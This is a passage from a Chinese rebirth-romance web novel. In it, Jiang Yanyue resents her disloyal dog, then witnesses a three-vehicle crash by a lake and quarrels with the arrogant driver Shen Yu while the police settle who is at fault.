江言月冷哼一声,继续开车,虽然狗在身旁帮不了她什么。
可养了那么久,纪景州一出现,它就追着别人跑了,她咽不下这口气,平时对它那么好。
纪景州坠湖,它跳湖。
她坠湖,它跑上岸。
江言月越想越气,威胁道:“下次你再叛主不听话,你喜欢谁就跟谁去,别缠着我。”
八月一肚子委屈,只能往肚子里咽,这女人肯定生它上辈子抛下她去追主人的气了。
那时候情况紧急,主人重伤在湖里挣扎,只能追着主人跑。
只是它大意了,没想到江言月会受伤。
等它意识到自己不行,无法救人,想找姗姗来迟的纪年帮忙时候,已经来不及了。
上岸没多久。
主人跟江言月便一起淹死在东湖。
它绝望中,只能跳湖,看能不能重来一次。
果然回来了。
主人不靠谱,喜欢别人总是一退再退,真怂!
第一次他们关系进度太慢,是因为有沈遇,沈遇财大气粗,主人险胜,一直吃醋。
这一次呢,小叔跟主人比,主人哪里都比小叔强。
他在退缩什么。
莫非这次要败在小叔手里。
还是主人不喜欢江言月?
八月彻底绝望了。
要不是它现在这般模样,它早就跑回主人旁边,助主人一臂之力。
哪里还轮得到,江言月威胁它。
现在寄人篱下,它不得不服从别人。
狗一路没了动静,江言月火气消了大半,暂时原谅这条吃里扒外的狗。
主要是狗叛变的对象是纪景州,纪景州人还不错。
江言月脑海里莫名闪过纪年拉起自己的时候,纪景州那红透的耳根。
脸后知后觉一热,刚才是不是有些出格了,死而复生,太过激动,趴在他身上哭那么久。
没办法,谁叫他上辈子,过来救她,一起死了。
死这个字一出来。
江言月心又凉了。
莫非她还会在纪年老爸生日那天死去?
如果时限是三个月,那她这次重生在一个月之前。
是不是告诉她,一个月后不会死?
还是只剩一个月的命?
她到底怎么样才能逃过这场死局。
揣着疑惑回家。
车停下时。
秦悦不谈恋爱会死的言论从脑海一闪而过。
江言月愣了一下,真拉个男人谈恋爱?
疯了!
江言月以为这最后一个月,会像前面许多次一样,安然忙碌度过。
结果时间刚刚过半,就碰到了车祸。
三车相撞,她是目击者。
22. 第22章
车祸现场在东湖边上的三岔路口。
叉路口,一边通东营村,一边通隔壁东兴村。
大货车拉满菜从东营村路出来,黑色小轿车从东兴村出来,皮卡车从市区回东营村。
同一时间碰到一起,三车相撞。
小轿车被撞冲到东湖护栏边上,车头凹陷下去一大块,青烟直冒。
大货车卡在三叉路口,车头歪了一点。
皮卡车,没什么大问题。
江言月大脑当机几秒,丢下摩托车,往那青烟直冒的黑色小轿车旁边跑。
电视剧看多了,她生怕轿车在须臾之间爆炸。
车里的人被安全气囊护着,一双眼睛痛苦地紧闭着。
江言月猛敲车窗。
男人睁开眼睛,扭头瞟了她一眼,没说话,揉着脖颈。
这人大概被撞糊涂了。
江言月边敲车窗,边喊,“快出来,危险!”
……
喊几遍男人没动静,江言月试着拽开车门,完全白费功夫。
青烟越来越大。
车里男人倒是动了一下,嘶叫一声,白白净的脸上,标致的五官全挤在了一起。
可能是他受伤严重,太痛了。
“快开门,赶紧出来,里面不安全!”江言月对着车又喊了一遍,他半天没动静,她都怀疑这人能不能听到她说话。
门没开,车熄了火。
“咔。”车锁一响。
江言月拉开车门,瞧了他一眼,不敢帮忙,脸上倒是没什么伤,别的地方不知道,“你没事吧?”
沈遇咬牙,头晕目眩,腰阵痛,他用手轻揉几下,没看絮絮叨叨的江言月,也没应话。
江言月心慌,直接上手去拉人,“你快出来,出不来的话,我扶你出来,我怕车爆炸!”
沈遇深吸一口气,空气里并没有焦糊味,机油报警器也没亮,水温表在报警。
初步判断,冷却系统受损,产生的青烟!
那么小的车祸,车就爆炸,她是在说笑吗?
“不用你帮我!我自己可以!”
沈遇挣脱江言月放在肩膀上的手,从车里出来,活动了一下身体,感觉腰部痛感,减轻了不少,他没理江言月,指着不远处说:“你去后备箱拿一下三角警示牌,放在那边。”
沈遇高江言月一个头,站在旁边自带压迫感,口气有点像命令下属。
江言月下意识抬头瞧对方一眼,他面无表情,辨不出喜怒,一身休闲服,只剩居高临下的姿态。
江言月也判断不出来,他受伤没有,听话从后备箱拿出警示牌,走了几步放在公路上。
沈遇眉头紧皱,不耐烦喊:“你放在那里干嘛,白天50米,晚上150米,高速150米以上……你驾照偷来的吗?开车技术差就算了,理论也一塌糊涂。”
江言月刚从警示牌上放开的手一颤,差点没忍住抓起警示牌丢在他身上。
她驾照倒是拿了好几年,所有科目全部都是一次性过的,可是拿到驾照以后,没开过车,又没出过车祸,哪里还记得理论上这些细节。
什么玩意!
她好心帮个忙,他不会以为,这破车是她撞的吧?
沈遇催促:“愣着干嘛,你还想再来几辆车撞一起吗?”
靠!江言月暗骂,抓起警示牌用力一丢,警示牌差不多落在离车50米的位置。
她没心情搭理那这胃口的小白脸,扭头绕过他,去看大货车司机。
货车司机已经下车,拿着手机在拍照,行动利索看起来没受伤。
皮卡车上,一个皮肤黝黑的男人下来,往这边走。
江言月看清脸,认出人来,那是纪年隔壁村朋友——姜林。
她也是最近一个月,偶然碰到才记得对方名字,不然他们也只是脸熟。
现场太乱,江言月也不知道这场车祸是谁的责任。
好在没有谁受重伤。
车辆受损也不算严重,皮卡车引擎盖微微凹陷下去几个拳头那么大的一块;大货车保险杆弯了;后面那辆小轿车,损伤严重一些,现在没冒青烟了。
那不可一世的男人黑着脸在打电话。
江言月有些火大。
“江老板!”姜林喊她。
“老姜,你先拍照!”江言月扫视一圈说,“我怕车停这里把路堵了!”
姜林点头,掏出手机拍照。
江言月追问:“对了,你报警没有?”
姜林:“没……”
“我现在,在国道G520……”沈遇声音盖过老姜声音,“对方全责,转弯没打转向灯。”
江言月不知道沈遇说的是谁。
下意识望向姜林,姜林垂下头,小声说:“我刚才太急了,忙着转弯,他车速太快,就忘了转向灯这事。”
车速不快,那小轿车也不会撞成那样,在农村小公路开那么急,他忙着去投胎吗?
江言月瞥了沈遇一眼,沈遇正好看过来,两个人目光不约而同撞在一起。沈遇一愣,江言月没给他好脸色,瞪了他一眼,错开目光。
姜林看了一眼车,又看了一眼沈遇,脸上浮上几分愁色。
“江老板怎么办?他那车可不便宜,要是我全责的话,保险费不知道够不够修理。”姜林眉头一皱,小声在她耳边念叨,“而且看他那样,也不是个好说话的人!”
这话正好点燃江言月暂时压下去的火气。
何止不好说话,简直就是有毛病。
说她驾照偷来的,他去偷一个试试。
她要是开车,车技指不定甩他多少倍。
大货车司机走了过来。
江言月上下打量一番人问:“陈师傅你没事吧?”
陈师傅摇头,脸上愁容满面。
江言月知道陈师傅担心什么,担心货运不回城里,拉菜的陈师傅45岁,跟她合作两年了,做事认真负责。
瞧了一眼货车,除了保险杆弯了一点,别的没问题,江言月安慰他:“没事,如果车开不了的话,我重新叫车过来拉货。”
“应该可以上路,只是保险杠弯了一点点,”陈师傅扫了一眼车上的菜说,“我是怕耽搁时间太久,影响交货,交警过来也要好几个小时。”
“没事,我去跟老板商量一下。”江言月嘴上说得轻松,可头顶烈日还是让她心虚。
蔬菜本来就图个新鲜,晒几个小时,拉到省城也验不过货。
可问题摆在这里,着急也没啥用。
沈遇听他们说完,眉头越锁越紧。
他没空陪他们在太阳底下耗几个小时。
可这鸟不拉屎的地方鬼影都没一个。
刚才一路过来,车都没遇到,他车速便提了一点。
结果……
沈遇一掌拍在车上,“啪——”
低头看手机的江言月吓一跳,扭头白了沈遇一眼,继续低头翻阅手机通讯录,找出合作商电话打过去。
那边也没为难她,说是晚点没事,不能超过半夜十二点。
挂断电话,一抬头,正好对上沈遇迷惑的目光。
江言月无语,莫名其妙,盯着她看干嘛?
手机在手心一震,她收回视线,接通电话,“秦阿姨!”
“你到哪里了?阿姨做饭等着你。”
“我这边临时有点事情,可能晚上才能过来,阿姨你们别等我。”<
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p>“好……那你过来,我们一起吃晚饭!”
江言月瞟了瞟屏幕右上角时间——10:50,吃完饭还不一定呢,她立马改口:“我…我今天不知道还能不能过得来。”
秦阿姨那边沉默两秒回:“好吧,有事你先忙!”
话语间全是失落感,她不忍心,安慰道:“今天来不了,我明天过来。”
……
没什么事,不是非得过去,只是担心秦阿姨那边因为秦悦离开,情绪低落。
远方油门声响起,摩托车还停在公路中央,江言月赶忙把车移到一个不挡路的位置。
那辆熟悉的皮卡车也开过来。
纪年看到是她。
车停到跟前。
她提醒车上纪年:“车别停这里,怕等下有车过来。”
纪年放眼望向她身后车祸现场,问:“怎么样了?严重吗?”
“还好。”江言月扭头看向身后,正好对上沈遇探究的目光。
他是不是有病,盯着她做什么。
江言月皱起眉头,瞪过去。
沈遇局促别开脸,转到轿车前面站着。
她刚才丢警示牌,也是被气得,莫非这人意识到刚才误会她,愧疚了?
纪年走到江言月旁边拍了拍她肩膀,顺着她视线看过去,“看什么呢?”
“没有。”江言月不想说实话,抬头看纪年,“你是要去城里拉货?还是特意过来的?”
“老姜发消息叫我过来的,你呢?怎么也在这里?”
江言月告诉纪年实情,纪年叫她放心,去县城,车祸的事情他负责处理,她没同意。
交警一个半小时后到的现场。
她也从那人话里,听到他的名字——沈遇。
名字很有意思,人很令人费解。
交警过来调了路段监控,定责。
货车司机无责,老姜沈遇各一半责任。
一个没打转向灯,一个超速。
沈遇没说什么,似乎忘了刚才电话里还咬着别人全责的事。
沈遇总是时不时盯着她看。
交警一走。
沈遇目光第n次扫过来时。
江言月眉头紧皱,直瞪着他,没好气问:“我脸上长花了?”
“没有……不是……”沈遇局促错开目光,又迎上纪年阴沉的眼神,偏头望向别处。
怎么会有人长那么像?一开始还以为眼花了呢,正想再看上一眼。
中间已经隔了一个纪年,沈遇只能就此作罢。
纪年丢下老姜,站到江言月和沈遇中间,不动。
老姜亦步亦趋,眼睛从车上移到沈遇白皙温和的脸上,忍了几秒,卑微开口:“帅哥,你看我们能不能各修各车?大货车保险杠我花钱负责去修。”
沈遇嗤笑一声,那点温和瞬间荡然无存,向前迈了一步,避开纪年直视江言月,淡淡回:“那后面我跟你对接?”
江言月气急反问:“你不会到现在还觉得你那破车是我撞的?”
老姜大气不敢出,江老板竟然敢说这几百万车是破车。
沈遇也不生气,直说:“我只是觉得你更好说话,如果是你和我对接,那我同意各走各的保险。”
江言月明显感觉这人说话在放屁,不想搭理他。哪怕她不确定沈遇什么目的,可绝对不可能是因为她好说话。
纪年嘴一抽,挡在沈遇身前:“她没空,你有什么问题联系我。”
“那按程序走就行。”沈遇退两步靠车上,插着兜,一副没商量的姿态。
江言月手一抖,眯眼瞥向沈遇,要不是纪年挡着,她怕自己忍不住一巴掌拍他嘴上,这破嘴怎么一点人话不会说。